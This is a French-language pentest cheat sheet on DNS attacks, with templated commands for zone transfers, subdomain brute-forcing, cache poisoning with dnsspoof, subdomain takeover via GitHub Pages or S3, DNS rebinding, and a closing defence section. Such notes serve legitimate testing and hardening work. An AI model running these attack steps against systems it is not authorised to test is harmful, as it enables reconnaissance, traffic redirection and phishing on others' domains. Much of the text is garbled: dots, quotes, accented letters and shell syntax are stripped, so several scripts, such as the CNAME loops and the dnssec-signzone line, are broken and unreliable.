MDstable
NoteSnippetChecklistPlaybook

DNS Attacks — Zone Transfer, Cache Poisoning, Subdomain Takeover

Transfert de zone AXFR, empoisonnement du cache DNS, subdomain takeover — attaque et défense

snippetadvanced 2026-05-14 6 min read
dnszone-transfercache-poisoningsubdomain-takeoveraxfrdnsreconpentest

Zone Transfer (AXFR) — Dump complet du DNS

bash
Variables
{{TARGET_DOMAIN}}
{{DNS_SERVER}}
# Trouver les serveurs DNS autoritaires
dig NS {{TARGET_DOMAIN}}
host -t NS {{TARGET_DOMAIN}}
# Tenter un transfert de zone (dig)
dig AXFR {{TARGET_DOMAIN}} {{DNS_SERVER}}
dig AXFR {{TARGET_DOMAIN}} ns1{{TARGET_DOMAIN}}
# Avec host
host -l {{TARGET_DOMAIN}} {{DNS_SERVER}}
# Avec nmap NSE
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain={{TARGET_DOMAIN}} -p 53 {{DNS_SERVER}}
# Avec dnsrecon
dnsrecon -d {{TARGET_DOMAIN}} -t axfr
bash
Variables
{{TARGET_DOMAIN}}
{{DNS_SERVER}}
# Si le transfert réussit → dump de tous les enregistrements A, CNAME, MX, TXT
# Chercher dans le dump :
# - Sous-domaines internes (vpn.{{TARGET_DOMAIN}}, dev.{{TARGET_DOMAIN}})
# - IPs internes (RFC 1918 : 10.x, 172.16.x, 192.168.x)
# - Serveurs mail (enregistrements MX)
# - Enregistrements SPF/DKIM (infos sur la messagerie)
# Extraire uniquement les IPs depuis un dump AXFR
dig AXFR {{TARGET_DOMAIN}} {{DNS_SERVER}} | grep -E "^[^;].*\sA\s" | awk '{print $NF}' | sort -u

Énumération DNS par brute force

bash
Variables
{{TARGET_DOMAIN}}
{{DNS_SERVER}}
# dnsrecon — brute force sous-domaines
dnsrecon -d {{TARGET_DOMAIN}} -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# dnsenum
dnsenum --dnsserver {{DNS_SERVER}} --enum -p 0 -s 0 {{TARGET_DOMAIN}}
# Subfinder (OSINT passif + actif)
subfinder -d {{TARGET_DOMAIN}} -o subdomainstxt
# Amass (combinaison de sources)
amass enum -d {{TARGET_DOMAIN}} -o amass_resultstxt
# Gobuster DNS
gobuster dns -d {{TARGET_DOMAIN}} -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -r {{DNS_SERVER}}
# MassDNS (très rapide — millions de domaines)
massdns -r resolverstxt -t A -o S -w resultstxt subdomains_to_checktxt

DNS Cache Poisoning — Empoisonnement du cache

Variables
{{TARGET_DOMAIN}}
Principe
1 Attaquant demande la rsolution de evil{{TARGET_DOMAIN}} force le resolver faire une requte
2 Attaquant envoie de fausses rponses UDP avec le bon Transaction ID force brute possible
3 Si la fausse rponse arrive avant la vraie le resolver cache lIP malveillante
4 Toutes les victimes utilisant ce resolver obtiennent l'IP de l'attaquant
Conditions
Resolver vulnrable pas de randomisation du port source Transaction ID prvisible
Attaquant capable dinonder avec de fausses rponses UDP
Pas de DNSSEC sur le domaine cible
bash
Variables
{{DNS_SERVER}}
{{INTERFACE}}
{{LHOST}}
{{TARGET_DOMAIN}}
# Vérifier la randomisation du port source du resolver cible
# (indice de vulnérabilité au cache poisoning)
nmap --script dns-random-srcport,dns-random-txid {{DNS_SERVER}} -p 53 -sU
# Test avec dnsspoof (dsniff) — sur le LAN
dnsspoof -i {{INTERFACE}} -f hoststxt
# hosts.txt :
# {{LHOST}} *.{{TARGET_DOMAIN}}
# Vérifier si DNSSEC est actif (protection contre le poisoning)
dig {{TARGET_DOMAIN}} dnssec
# Chercher "ad" flag dans les flags → DNSSEC validé
dig DS {{TARGET_DOMAIN}} 8888
# Pas de réponse DS = pas de DNSSEC chaîné

Subdomain Takeover

Principe
1 Le DNS pointe vers un service tiers CNAME appgithubio storageazurecom etc
2 Le service tiers nest plus actif projet supprim abonnement expir
3 Lattaquant cre un compte sur ce service et revendique le sous-domaine
4 Contrle du sous-domaine cookies localStorage phishing sur le domaine lgitime

Détection

bash
# Identifier les CNAME qui pointent vers des services tiers éteints
# Liste des sous-domaines (depuis AXFR ou brute force)
for sub in cat subdomainstxt; do
cnamedig CNAME $sub short
if -z "$cname" ; then
echo "$sub → $cname"
# Vérifier si la cible répond
curl -sI "https://$cname" 2>/dev/null | head -1
fi
done
# Subjack (outil automatisé)
subjack -w subdomainstxt -t 100 -timeout 30 -ssl -c /opt/subjack/fingerprints.json -v
# Nuclei — templates subdomain takeover
nuclei -l subdomainstxt -t vulnerabilities/generic/subdomain-takeover.yaml
# can-i-take-over-xyz — référence des services vulnérables
# https://github.com/EdOverflow/can-i-take-over-xyz

Services fréquemment vulnérables

Service Signature CNAME Indication takeover
GitHub Pages githubio "There isn't a GitHub Pages site here"
Heroku herokuappcom "No such app"
Netlify netlifyapp 404 Netlify page
Shopify myshopifycom "Sorry, this shop is currently unavailable"
AWS S3 s3amazonawscom "NoSuchBucket"
AWS CloudFront cloudfrontnet "Bad request" "The request could not be satisfied"
Azure azurewebsitesnet "Web App Not Found"
Fastly globalsslfastlynet "Fastly error: unknown domain"
bash
Variables
{{USERNAME}}
{{TARGET_SUBDOMAIN}}
{{BUCKET_NAME}}
# Takeover GitHub Pages :
# 1. Créer un repo GitHub : {{USERNAME}}/{{TARGET_SUBDOMAIN}}
# 2. Activer GitHub Pages sur le repo
# 3. Le sous-domaine pointe maintenant vers ton contenu
# Takeover AWS S3 :
aws s3api create-bucket --bucket {{BUCKET_NAME}} --region us-east-1
# Héberger un fichier index.html
aws s3 website s3//{{BUCKET_NAME}} --index-document indexhtml

DNS Rebinding

Variables
{{PORT}}
Principe
1 Attaquant contrle evilcom avec un TTL trs court
2 Victime visite evilcom son navigateur rsout evilcom IP attaquant
3 JavaScript charge du contenu attaquant change le DNS de evilcom 127001 TTL expir
4 Navigateur fait une nouvelle requte rsout evilcom 127001
5 Same-Origin Policy satisfaite mme domaine evilcom JS accde localhost{{PORT}}
bash
Variables
{{LHOST}}
{{TARGET_LOCAL_PORT}}
# Singularity (outil DNS rebinding)
git clone https//github.com/nccgroup/singularity
# Interface web : http://{{LHOST}}:8080
# Cible locale : http://127.0.0.1:{{TARGET_LOCAL_PORT}}

Défense DNS

bash
Variables
{{TARGET_DOMAIN}}
{{ZONE_FILE}}
# Activer DNSSEC sur la zone (BIND9)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE {{TARGET_DOMAIN}}
# Signer la zone
dnssec-signzone -A -3 head -c 1000 /dev/random | sha256sum | cut -b 1-16)
-N INCREMENT -o {{TARGET_DOMAIN}} -t {{ZONE_FILE}}
# Configurer le resolver pour valider DNSSEC (unbound)
# /etc/unbound/unbound.conf :
# validator:
# enable: yes
# trust-anchor-signaling: yes
bash
Variables
{{TARGET_DOMAIN}}
{{SECONDARY_DNS_IP}}
# Bloquer les transferts de zone sauf depuis les secondaires autorisés (BIND9)
# /etc/bind/named.conf :
# zone "{{TARGET_DOMAIN}}" {
# type master;
# file "/etc/bind/zones/{{TARGET_DOMAIN}}.zone";
# allow-transfer { {{SECONDARY_DNS_IP}}; }; # uniquement le secondaire
# };
# Réponse type si AXFR bloqué :
# dig AXFR {{TARGET_DOMAIN}} → "Transfer failed."
bash
Variables
{{TARGET_DOMAIN}}
# Surveiller les CNAME orphelins (cronjob quotidien)
#!/bin/bash
for sub in dig NS {{TARGET_DOMAIN}} | grep -oP '\S+\.{{TARGET_DOMAIN}}'; do
cnamedig CNAME $sub short
if -z "$cname" ; then
http_codecurl -sI "https://$cname" -o /dev/null -w "%{http_code}" --max-time 5
if "$http_code" "000" || "$http_code" "404" ; then
echo "ALERTE TAKEOVER : $sub → $cname (HTTP $http_code)"
fi
fi
done
⚠ Attention —

Un transfert de zone réussi expose l'intégralité de l'infrastructure : sous-domaines internes, serveurs de staging, IPs privées, technologies utilisées. C'est souvent la première étape d'un pentest externe qui débouche sur des cibles à fort impact. Bloquer AXFR est une mesure critique mais oubliée sur ~15% des serveurs DNS publics selon les études régulières.

💡 Tip —

Pour détecter un subdomain takeover en automatique, intégrer nuclei avec le template subdomain-takeover dans un pipeline CI ou un cron hebdomadaire sur la liste des sous-domaines DNS de l'organisation. C'est l'un des seuls vecteurs critiques entièrement automatisables avec un taux de faux positifs quasi nul.

OPS·BRAIN v1.075 notes · Securitylocal